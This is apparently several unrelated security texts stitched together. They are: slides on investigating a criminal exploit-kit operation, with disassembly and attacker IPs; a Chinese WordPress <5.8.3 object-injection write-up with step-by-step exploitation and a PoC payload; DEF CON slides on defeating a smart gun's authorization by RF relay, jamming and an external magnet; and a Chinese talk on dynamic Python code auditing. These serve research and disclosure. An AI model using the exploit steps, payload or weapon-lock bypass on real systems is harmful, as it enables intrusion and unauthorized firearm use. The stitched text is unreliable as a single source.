loc_8049BE8:
sub esp, 8
push [ebp+var_7C] ; char *
push [ebp+var_54] ; int
call referer_validate
add esp, 10h
test eax, eax
jnz short loc_8049C07
push [ebp+var_84]
push [ebp+var_2C]
push offset a?o6PURU
lea ebx, [ebp+var_338]
push ebx
call _sprintf
add esp, 0Ch
push ebx
push offset aData
push offset exp_quicktime_opera
sub esp, 8
push 0
push [ebp+var_4AC]
call js_crypter_put
mov eax, [ebp+var_4AC]
add esp, 10h
test eax, eax
Scripts – what’s the next address?
• The modified Torpig domain generator
– Modified the domain generation logic (last part
has an extra letter).
– Modified to also provide the injection in different
formats (popunder variants).
• Great for keeping track of
“next hop” planning…
Sources: /ifrmcrypt/crypt.htm,
crypt_js.htm, crypt_js_jok.htm
Scripts ‐ ProxyJudge
• A cgi to test whether the victim is behind a
proxy.
– Smart criminals don’t attack twice at the same
spot, and need to know whether it’s worthy to
unleash their mojo…
Other goodies
• “Howto” in word.
– (someone from MS wants to check
for licensing?)
– Run install.php, make sure the dir is
writeable, and accessible from the
web…
– Packer will verify the integrity of the
install (!!!)
– Change the settings…
– Check results.
– Options description, logging,
interpreting logs (ASCII graphics!)
• All in Russian
Scripts – CPanel goodies
• Looks like a “braindump” from grabbing
interesting credentials.
• TONS of CPanel login info – hundreds of
domains…
– Inline comments in Russian on some of the sections:
• “clearly has not been able to look after !!!!!! ”
• “glyant OWL. previously worked as щас clearly no longer
works ”
• “ekspa need to pop in and remove the soap base ”
• “this, too many sites and is not small ”
• “master admin cpanel” (near a hosting site address…)
More goods
• Criminal humor:
– Under
“marshals_investigations
_most_wanted” there are
a few HTMLs, must be
some internal joke or a
teaser to LE…
– Nicks for the gang crew
are on this (instead of the
original page from the US
Marshal site), along with
funny caricatures of
them…
Meanwhile…
• We haven’t just started debugging, tracing and
poking around for fun!
– The second we managed to clear out the legalities, we
pushed everything to CERT‐CC
• Coordination efforts:
– CERT‐CC was highly responsive! Created a small task‐
force to handle the data
– Analyzed logs, segmented it to 86 different affected
countries, started managing the notification process
to ALL of them (inc. establishing secure comm. with a
few)
– Worked with FBI and SS in the US
Fancy maps and all…
Closure?
• So, worked with CERT, got a lot of ricochets
from the field (some countries the notification
process was sloooooow, data got out before
the notifications got to the affected parties…)
• A few days to get the bulk of the sites notified.
• Shows up on the “bad‐guys” stats as well:
Graphing the main 5 “clients”
0
2000
4000
6000
8000
10000
12000
14000
16000
18000
20000
9/22/2008
9/23/2008
9/24/2008
9/25/2008
9/26/2008
9/27/2008
9/28/2008
9/29/2008
9/30/2008
10/1/2008
10/2/2008
10/3/2008
10/4/2008
10/5/2008
10/6/2008
10/7/2008
10/8/2008
10/9/2008
10/10/2008
10/11/2008
10/12/2008
10/13/2008
10/14/2008
10/15/2008
10/16/2008
10/17/2008
10/18/2008
10/19/2008
10/20/2008
10/21/2008
10/22/2008
10/23/2008
10/24/2008
10/25/2008
10/26/2008
10/27/2008
10/28/2008
Hits
Hits per user ‐ Daily
eagle
chlu
grey
grobin
leet
Let’s see…
0
5000
10000
15000
20000
25000
30000
35000
Post news publication
– cleanup as sites
notified of breaches
eCrime operator
regroups and recruits
new sites,
notification process
continues…
eCrime operation back to normal –
after stabilizing when the
notification is mostly done, the new
“batch” is showing some nice
performance…
Graphing the total hits per day for the top 5 users of the system
The McColo Connection?
• Remember the door we were peeking
through?...
Yup – well into the investigation,
we caught a glimpse of the joker
while he was at it…
And if we are getting that close and
personal
• How ‘bout them .htaccess files?
– FTP IFramer, PHPMyAdmin, scripts directory…
were not accessible to the general public
allow from 90.189.250.93 66.36.244.234
66.235.182.115 208.72.169.56 208.72.169.61
82.103.131.138 82.103.135.175
(That’s DC, Newark, Denmark and Russia)
• Yup – these got to LE as well…
Final words
• Can this happen again?
• YES?!
This is bad!
FIX IT!!!
Source: “Understanding web browser threat: examination of vulnerable online web browser populations
and the ‘insecurity iceberg’”, http://www.techzoom.net/insecurity‐iceberg
Yes… (until the rise of the machines)
• Picture taken on Thursday October 16th 2008
at BlueHat. 2 days after the Patch Tuesday. In
Microsoft. At Redmond…
How bad can this be anyway?
Final final words…
• What should we be looking for in terms of
advancements in “Trojan technology”?
– Mostly communication
– What have we learned from the use of legitimate
websites on the attack vector?
– Why not apply it to the rest of the communication
channels?
Trojans 2.0 Illustrated
Q&A
•Questions?
• Thank you!
[email protected] | pdf |
wordpress <5.8.3 对象注入漏洞
本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良
影响,本文作者概不负责。
本文由本人在今年2月份发表于奇安信攻防社区 https://forum.butian.net/share/1303 ,因此在
一些关于时间的描述上存在误差,请谅解。
0x00 漏洞描述
看了 wordpress 注入( CVE-2022-21661 )的洞之后,发现还存在另外一个对象注入漏洞,具有管理
员权限的用户通过更改一些选项,将有机会 getshell 。
0x01 漏洞影响
getshell 的条件:
wordpress < 5.8.3
启用多站点模式
存在一条可用的反序列化链(在本文中不会讲这个)
这是 github 上的漏洞修复记录
因此这里的环境选择前一条提交
0x02 漏洞分析
这里是以我复现这个漏洞时候的角度来分析的,因此会有一些弯路
漏洞入口点
首先来到 wp-admin/upgrade.php ,这是管理员可以直接访问到的文件,也是我认为的此漏洞的入口
点。
https://github.com/WordPress/WordPress/commit/66bb979049fa1a515d031e53ab100d507e
d7bc8b
git clone https://github.com/WordPress/WordPress
git checkout 7d20ea9
跟进 wp_upgrade 函数,来到 wp-admin/includes/upgrade.php
首先看几个全局变量, $wp_db_version 在 wp-includes/version.php 中定义,根据其定义处的注释
来看,这是本安装程序的数据库版本,在下一行中从数据库中取出了 db_version 赋值给
$wp_current_db_version ,看这情况,大概是一个是固定的数据库版本,另一个是可变的,
upgrade.php 会时不时地比较,当发生改变时,会进行一些操作
接下来看到我下的断点处,进入 upgrade_all() 函数
这里就是在将两个版本进行比较,一致时不发生任何变化,不一致时运行后面的代码,接着看下面
根据从数据库中取出的 db_version 也就是此处的 $wp_current_db_version 的大小,会进行不同的
处理,我们来关注断点处的 upgrade_280 函数
看到 1611 行的 is_multisite() ,跟进
这是一个判断是否开启了多站点的函数,这也是本漏洞的一个开启条件,必须要开启多站点才可以。开
多站点需要改配置文件,我这里图省事儿,直接改了判断条件 !is_multisite() ,强行让他绕过了
继续看上面,进入循环,每次从 wp_options 表中取 20 条数据,将每一条数据都进行反序列化,漏洞
的点就在此处了,因为 wp_options 中的数据大部分都是可控的,我们可以通过管理员修改其值,最后
进入反序列化。
还有两个问题,第一,如何控制 db_version 的值,让他进入我们想要进入的函数;第二,如何更改
wp_options 中的值。
数据写入
其实这两个是同一个问题,一并解决, wordpress 后台没有直接访问所有 options 的按钮,但我们可
以访问 wp-admin/options.php
这里可以更改 db_options 中大部分的值,包括 db_version ,我们将其修改为 10300,就满足了进入
漏洞函数的要求,接下来我们尝试写入反序列化字符串
我们先随便选择一个选项写入反序列化字符串,这里我首先选择的是 blogdescription ,也就是博客
描述,这个也可以在常规选项中更改(更建议,因为需要处理的值会更少,调试没那么费力), post 的
数据会逐个进入 wp-includes/option.php 中的 update_option ,来看几个比较重要的函数(PS:太
长截图截不完)
这里首先说明一下 $option 是每个选项的键, $value 是每个选项的值
首先看到 sanitize_option
这个函数会根据不同的键来选择不同的处理方式,比如一些一定会用整数的,就会 intval 处理,所以
选择的选项也是有讲究的,我之前选择的 blogdescription ,就因为这个函数而无法使用,他会将一些
特殊字符编码,导致无法正常反序列化,这个可以慢慢尝试,尽量选择这个函数不会进行太多处理的选
项
最终我选择的是 wp-admin/options-writing.php 中的 “密码”(选择 options.php 中的
mailserver_pass 也一样,是同一个),一般来说,密码对字符都不会有太多的限制,至少这里是的
回到之前的 update_option 的代码,稍微注意一下这里的比较
如果我们输入的选择没有发生改变,就不会继续后面的代码,继续往下走,进入 wp-
includes/functions.php 中的 maybe_serialize 函数
如果是数组或者对象,那么会直接序列化后返回。然后进入 is_serialized 函数
这里会取字符串的第一个字符进行比较,这里几乎囊括了反序列化字符串的所有类型,遇到是这一些
的,返回后会再次反序列化,也就是进行了二次反序列化,这样几乎是防止了可能的反序列化。
这里遗漏了一个 C 类型,官方文档对他的描述是 custom object ,自定义对象,这个以前几乎没有用
到过,因此这次进行了一次测试
代码:
结果
同一个类,将类型从 O 修改为了 C ,反序列化运行后,虽然报错,但最后仍然会触发 __destruct 方
法,因此我们可以将一个正常的反序列化字符串,将第一个字符 O 修改为 C ,这样就可以逃过这里的二
次反序列化,从而将我们的反序列化字符串写入数据库,等待触发即可。
0x03 漏洞复现
本菜鸡找不到 wordpress 的链子,只能随意触发一个 __destruct 意思意思
这里使用 wp-includes/Requests/Transport/cURL.php 中的 Requests_Transport_cURL 类
查看数据库,并没有被二次序列化
来到 wp-admin/options.php ,将 db_version 修改为 10300
C:23:"Requests_Transport_cURL":0:{}
这里一个意外的发现,修改数据库的时候就会触发漏洞入口
成功取出数据库中的反序列化串,并且执行反序列化
触发 __destruct 方法
0x04 总结
坑点不少,需要多琢磨,不说了,还是太菜了,都没法搞条链子。
0x05 链接
目前在学代码审计,对此感兴趣的师傅可以加好友一起交流学习
环境与 exp 都可以在如下链接获取
GitHub
https://github.com/N0puple/vulPOC
公众号
公众号搜索:安全漏洞复现
扫码持续关注: | pdf |
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Popping a Smart Gun
DEF CON 25
[email protected]
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
What is a smart gun?
• Gun that can be fired only by authorized parties
• Various authorization/authentication approaches
– Biometrics (e.g., fingerprint reader)
– RFID ring
– Etc.
• See “A Review of Gun Safety Technologies” for a
more thorough discussion (Greene 2013)
– Greene gets some details wrong about the smart gun
we will discuss today
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
In the movies
Skyfall
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Smart guns
• Examples that have been prototyped
– iGun shotgun (RFID ring)
– Kloepfer pistol (fingerprint)
– Magna-Trigger/Magloc retrofit (magnets)
– Safe Gun retrofit (fingerprint)
• Only one model currently for sale in the US
– Armatix iP1 (NFC/RF watch)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Why I care
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Armatix iP1: watch and pistol
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Design overview
• Two system components
– Pistol
– Watch
• Watch authorizes pistol to fire
• Watch must be near the pistol (<25 cm)
• Communication
– Pistol watch: 5.35 kHz inductive
– Pistol watch: 916.5 MHz
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Armatix iP1 operation
1. Enter PIN on watch
2. Wear watch within 25 cm of pistol
3. Squeeze grip on pistol
4. Fire pistol
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
(Demo of normal operation)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Normal operation
25 cm
Here’s a
token
Hey!
*squeeze*
1
2
“Good,
now I can
fire”
3
4
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
5.35 kHz burst
Burst
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Watch auth token to pistol
Sync
Constant data
Dynamic data
Constant data
Dynamic data
Checksum
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Pistol reply to watch
Sync
Constant data
Checksum
Battery level
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
So… let’s break it!
•Defeat proximity restriction
•Denial of service
•Fire without authorization
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
DEFEAT PROXIMITY RESTRICTION
Fire from more than a foot away
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Defeat proximity restriction
• Watch normally needs to be <25 cm from the
pistol
• We want to fire the pistol when separated
from the watch by more distance
• Distance limited by physics of 5.35 kHz near-
field coupling
– The 916.5 MHz signal goes much farther
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Normal range
25 cm
916.5 MHz
5.35 kHz
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Relay block diagram
MCU
nRF24
2.4 GHz
916.5 MHz
MCU
nRF24
BPF
Driver
5.35 kHz
5.35 kHz
3 m
4
1
2
3
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Relay devices (custom hardware)
Pistol
side
Watch
side
nRF24
2.4 GHz xcvr
5.35 kHz
tuned coil
5.35 kHz
BPF & amp
Coil driver
PIC16F MCU
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Relay devices (custom hardware)
Total cost:
$20
• Cost (each):
– $5 nRF24 module
– $2 PCB
– $1 microcontroller
– $2 other parts
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
(Demo of proximity-defeat)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Defense
• This is a difficult problem
– Applicable to many products/industries
• Enforce very tight timing requirements
• Don’t use RF/NFC at all for proximity
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
DENIAL OF SERVICE
Prevent authorized firing
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Denial of service
• Scenario 1:
– Adversary wants to prevent gun from being fired
by authorized user
• Scenario 2:
– Parent wants backup kill-switch in house in case
gun not locked up properly
• Scenario 3:
– Other device unintentionally interferes
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
5.35 kHz NFC
• Very sensitive to false signals
• Will respond to other bursts when source close
• But…
• Short range
– Inductive coupling
– Low power, low receiver sensitivity
• Limited impact
– False signal simply causes another token to be
issued by the watch
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
916.5 MHz RF
• Also very susceptible
• Transmitting a 916.5 MHz pulsed signal
– Corrupts data from watch
– Prevents pistol from getting auth token
• Pistol cannot fire without auth token
• We’re basically doing EMC testing
– Not necessarily intentional interference
– Don’t call it jamming
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Not just intentional
• 900 MHz ISM band used by many products
– Cordless phones
– Baby monitors
– Digital links
• Imagine your gun won’t fire because
somebody’s grandmother is blabbing on a
cordless phone
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Test transmitter modulation
300 us inactive
33 us active
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Transmitter stepping on watch signal
Transmitter pulses
Normal watch pulses
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Scenario 1: Interference >> Signal
Signal strength
Time
= interfering signal
= watch signal
Slicer level
Slicer level set based on interference peaks
Slicer level too high
No signal bits recovered
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Scenario 2: Interference ≈ Signal
Signal strength
Time
= interfering signal
= watch signal
Slicer level
Interference fills gaps in signal
No edges where there should be edges
Manchester decoding fails
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Scenario 3: Interference < Signal
Signal strength
Time
= interfering signal
= watch signal
Slicer level
Interference appears before byte start
Byte sync incorrect
Byte decode fails
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Custom test transmitter BOM
• 916.5 MHz transmitter
– Murata TR1000 (same module Armatix used)
– Could have used a similar 916 MHz chip, e.g., SiLabs Si4430
($5) or the ON Semi AX5243 ($1)
• Antenna
– Linx ANT-916-SP
– Could have used a couple short pieces of wire ($0.05)
• Generator for the modulation waveform
– PIC16F18313 microcontroller ($1)
• Stripboard breadboard ($1)
• Total cost: $5 (optimal component choices) to $20 (as-
built)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Custom test transmitter
(yes, I know that through-hole components usually go on the other side of a stripboard like this)
Antenna
MCU
Transceiver
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Results
• Gun does not fire while transmitter is active
– 100% effective up to 3 m
– Some effect even up to 10 m depending on pistol
orientation
– Higher TX power would increase range
• For these tests, watch was on wrist of non-
shooting hand (about 10 cm from pistol)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Effective range
916.5 MHz
TX
3+ m
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
(Demo of denial of service)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Defense
• Use more transmitter power
• Use error-correcting code
• Use more-robust modulation
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
FIRE WITHOUT AUTHORIZATION
Why have a smart gun in the first place?
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Unlocking mechanism
Electromagnet
MCU
Ferrous material
Cam
Trigger
Firing pin with
blocking lugs
Pin blocker
Channel for pin
to be unblocked
(Looking longitudinally)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Trigger partially pulled
MCU
Cam moves up
Trigger partially
pulled, presses
on cam
Firing pin closer
to being
unblocked
(Looking longitudinally)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Scenario 1: Firing NOT authorized
Electromagnet
NOT active
MCU
Firing pin remains
blocked;
Gun cannot fire
(Looking longitudinally)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Scenario 2: Firing IS authorized
Electromagnet
active; pulls on
ferrous material
MCU
(Looking longitudinally)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Scenario 2, cont.: Gun can fire
Electromagnet
rotates pin
block
remainder of
distance
MCU
Firing pin matches hole;
Pin is unblocked;
Gun can fire
(Looking longitudinally)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
US patent 8,966,803
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Actual weapon
Electromagnet
Top view of receiver
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Mechanism in slide
Ferrous material
Cam presses here
Profile view of slide
Bottom view of slide
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Mechanical attack
• Use a Big-Ass™ Magnet
• Put the magnet next to the pistol so that it will
fill in for the electromagnet
• Needs to be strong, but not too strong
– Too strong will stop everything from moving
• A stack of three 1.25” diameter, 0.2” height
N52 neodymium magnets works well
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Magnet attack
MCU
(Looking longitudinally)
Electromagnet
not active
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Magnet attack
MCU
(Looking longitudinally)
External magnet pulls
ferrous material;
Pin unblocked;
Gun can fire
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Magnets
• N52 neodymium magnets
• 32 mm 5 mm
• $19 on Amazon for a four-
pack (only three are
required)
• Cost
– $14.75 magnets
– $0.20 scrap dowel
– $0.05 stainless screw
– Total: $15
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Completed magnet tool
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Magnet alignment
Align magnet
here
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Magnets on pistol
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Magnet attack results
• Works great!
– Fire the pistol without the watch
– Fire the pistol even without any batteries
• Caveats:
– Magnet can prevent trigger from resetting
– Occasional issue with light primer strikes
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
(Demo of magnet attack)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Defense
• Don’t use magnets, solenoids, etc.
– Nothing involving a DC magnetic field
– Consider motor-driven mechanism
• Detect external field and activate secondary
lock
– Kind of like a relocker in a safe
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Lessons for future guns
• Lock is only as good as its weakest link
• Robust, secure electronics don’t matter if they
can be defeated with a magnet
– The “Sentry Safe” lesson
• More secure unlocking mechanisms are
contemplated in the Armatix patents
– Why didn’t they use them?
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
THANKS!
Updated slides will be available on DEF CON web site within a few weeks
[email protected]
@_plore
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
BACKUP SLIDES
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Armatix iP1
• Custom semi-auto pistol design
• Fires .22 LR cartridge
• Hammer fired
• Introduced ca. 2015
• “Smart” authorization via paired wristwatch
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Armatix iP1: pistol field strip
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Size comparison
Glock 17
Armatix iP1
Ruger SR22
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Design internals
• MSP430 microcontroller
• Murata TR1000
– 916.5 MHz transceiver
– OOK modulation
• Ferrite-core coil for NFC
• FCC equipment cert database is amazing
– Interior photos, EMC test results, etc.
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Unlock sequence
• Pistol sends 5.35 kHz CW chirp for 1.5 ms
– No data; just carrier
– Range of about 25 cm
• Watch receives chirp and sends unlock response on
916.5 MHz
• Pistol ACKs 100 ms later on 916.5 MHz
• If watch sent correct code, pistol enables firing
• Watch retries once after 400 ms if no ACK
• LED on pistol grip
– Green = auth token, can fire
– Red = no token, cannot fire
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Operation overview
• Pair watch and pistol
– Long PIN to do this (only needed once)
• Sync watch and pistol
– Auth tokens are time-dependent
– Clock drifts badly, so need to do this often
• Enable firing on watch
– 5-digit PIN (4 values per digit; 1024 possibilities)
– Activates watch for 2-8 hours (selectable)
• Squeeze pistol backstrap
• Pistol sends 5.35 kHz chirp to watch
• Watch sends auth code to pistol via RF
• Pistol enables firing by unblocking firing pin
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Watch/pistol comms
• OOK, Manchester coding
• 30 kbit/s raw, 2 kbytes/s net
• 8-bit checksum
• 8 data bits plus one start bit
– Least-significant bit first
• 19-byte frame from watch to pistol
• 13-byte frame from pistol to watch
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Watch and Pistol on 916.5 MHz
Watch
sends token
Pistol ACKs
token
100 ms
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Watch and pistol on spectrum analyzer
Pistol
Watch
-40 dBm
0 Hz span – 100 ms/div
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
How to defeat proximity
• Relay 5.35 kHz burst
– First device:
• Listen for 5.35 kHz chirp
• Send indication that chirp occurred over backhaul
– Second device:
• Listen for trigger on backhaul about chirp
• Generate 5.35 kHz chirp near watch
• Watch thinks it’s hearing from pistol, sends auth token at 916.5
MHz
• 916.5 MHz reply strong enough for at least 3 m
– TX power from watch roughly -20 dBm
– Could be similarly proxied over backhaul for limitless range
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Proximity-defeat results
• Works reliably to at least 3 m
– 12x range improvement
• Limit now is 916.5 MHz radio link
– Could work arbitrarily far with a 916.5 MHz relay
• Relay adds about 630 us latency
– System tolerates it
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Proximity-defeat HW
• Custom hardware, pulse listener:
– Tuned coil placed near pistol
– 5.35 kHz bandpass filter/amplifier
– Microcontroller (PIC16F) sampling and watching for burst
from pistol
– 2.4 GHz transmitter (nRF24) to trigger generator
• Custom hardware, pulse generator:
– Tuned coil placed near watch
– Microcontroller generating 5.35 kHz chirp
– Simple Class C amp driving coil (MOSFET connected to
GPIO)
– 2.4 GHz receiver to receive trigger signal
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Latency of relay
Radio TX start
Slave NFC start
400 us latency
due to radio, SPI, etc
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Latency of relay
Pistol NFC start
Slave NFC start
630 us overall latency
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
How sensitive to interference?
• OOK modulation is highly susceptible to interference
– 916.5 MHz module datasheet used in iP1 warns that slicer
will be “blinded” by strong noise pulses1
– Slicer will also be fooled by lone pulses in bit timeslot that
are less than 6 dB down from the normal bit peaks
• Signal from watch measured at -40 dBm @ 10 cm
– Typical distance between pistol and watch
– Implies actual TX power of about -20 dBm
• Ballpark: interference signal at least -50 dBm at pistol
will prevent reception of signal from watch
– …even when pistol is very close to watch
1 http://wireless.murata.com/media/products/apnotes/ook.pdf
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Theory
• Constant carrier has effect only up to about 1 m
• Why pulsed carrier?
– Short range: our pulse is stronger than normal
pulses, so slicer level is set too high
– Mid range: our pulse about the same strength as
normal pulses, so bit interference high (edges
missing, so bits can’t be decoded)
– Long range: our pulse comes before packet/byte
sync, prevents packet/byte sync, corrupting packet
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Transmitter output
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Unmodulated carrier spectrum
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Modulated transmitter spectrum
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Transmitter over watch signal
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Electronic attack
• Impersonate watch?
• Replay attack?
– Perhaps including forcing pistol/watch time to
specific moment
• Some other exploit?
• Investigated, but then…
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Mechanical operation
• Hammer always falls
• Firing pin blocked unless authorized
• If authorized, electromagnet is energized as long
as backstrap remains pulled
• Half-pull of trigger moves cam in receiver that
moves linkage in slide
– Partially unblocks firing pin
• The half-pull moves a ferrous material within
range of the electromagnet
– Electromagnet pulls linkage the remainder of the way,
unblocking the firing pin
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
You can do this
without even taking
the magnets out of
their retail packaging
Magnet axis at angle
relative to grip
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Firing pin visible through “loaded chamber”
inspection port when dry-fired after
successfully bypassed with magnet or
authorized normally.
(Firing pin not visible after
unauthorized/unbypassed attempt to fire,
indicating it was blocked)
PRELIMINARY SLIDES
FINAL DECK AVAILABLE AFTER DEF CON
Tools for reverse engineering
• Wealth of information on government sites
– Patents
• Detailed drawings and explanations of mechanical
design
• Search not just on company name but also on names of
inventors for the company’s principal patents
– FCC certification database
• Interior photos
• RF emissions
• https://www.fcc.gov/oet/ea/fccid | pdf |
YOUR COMOANYS NAME
Python动态代码审计
演讲人:聂心明
2 0 1 8
自我介绍
•亚信安全软件工程师
•n0tr00t团队成员
•个人博客:https://blog.csdn.net/niexinming
•个人github地址:https://github.com/niexinming
•大型项目,代码结构复杂
•有些危险的功能隐藏较深(危险的定时计划任务、sqlite数据库任意创建导致任意
文件覆盖……)
•提高效率
为什么会想到动态代码审计?
漏洞
数据库
敏感函数
文件读写
网络访问
日志
PART 01
数据库日志
目录
CONTENTS
PART 02
Hook关键函数
PART 03
结合Auditd
PART 04
http盲攻击
01
02
03
04
PART 05
fuzzing
05
常规Web代码审计的准备工作有哪些?
•准备好代码运行环境
•IDE或者编辑器
•各种调试工具(xdebug)
•Burp Suite
•浏览器的各种插件(hackbar、modify headers……)
•打开数据库的general log
PART
01
数据库日志
如何打开数据库的general log
Mysql:
set global general_log_file=‘’;
set global general_log=on;
PostgreSQL:
编辑:postgresql.conf
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_statement = ‘all’
……
发送一些包含sql注入的畸形数据
利用Linux的grep指令做一下过滤
我想关注危险函数的调用和传参怎么办?
PART
02
Hook关键函数
容易改变的python对象
劫持模块
输入
参数
正常模块
输出参数
日志
可以劫持我们认为敏感的函数
把参数输出到日志中,方便找到ssti、pickle反序列化漏洞
和命令执行漏洞等其他的漏洞
方便拓展到其他的模块或者函数
• cd hook/
• cp os.py xxx.py
• 编辑xxx.py :
注释掉原来被hook的函数,添加想要hook的函数
下面的示例是hook了subprocess模块中check_call函数
修改启动代码从shell中启动python web
只要简单修改启动代码就可以从WSGI方式启动切换到shell启动
从内存中删掉已加载的模块
一些模块通过__import__动态导入,需要在动态导入后通过del modules删掉被装载的模块
需要自己处理的坑
其他问题
Python web性能下降、代码不兼容、有些模块无法被hook……
关闭调试选项
例如在flask启动时将debug选项设置为false,否则会产生两个python进程
怎么不通过修改原始代码去获取文件读写操作?
PART
03
结合Auditd
Auditd
auditd(或 auditd 守护进程)是Linux审计系统中用户空间的一个组件,
其可以记录Linux中文件,进程等操作,且安装方便
CentOS 默认安装
Ubuntu 安装:apt-get install auditd
只要简单的配置就可以监视一些文件操作
• sudo auditctl -a exclude,always -F msgtype!=PATH -F msgtype!=SYSCALL #记录文件操作
• sudo auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command #记录所有的shell指
令的执行
• sudo auditctl -a always,exit -F pid=$mypid #记录指定进程文件操作
发送一些包含目录跳转的畸形数据
• 通过grep和关键字高亮工具(https://github.com/paoloantinori/hhighlighter)进行查看日志
除了记录文件读取,还能记录文件的其他操作
任意文件创建
任意文件删除
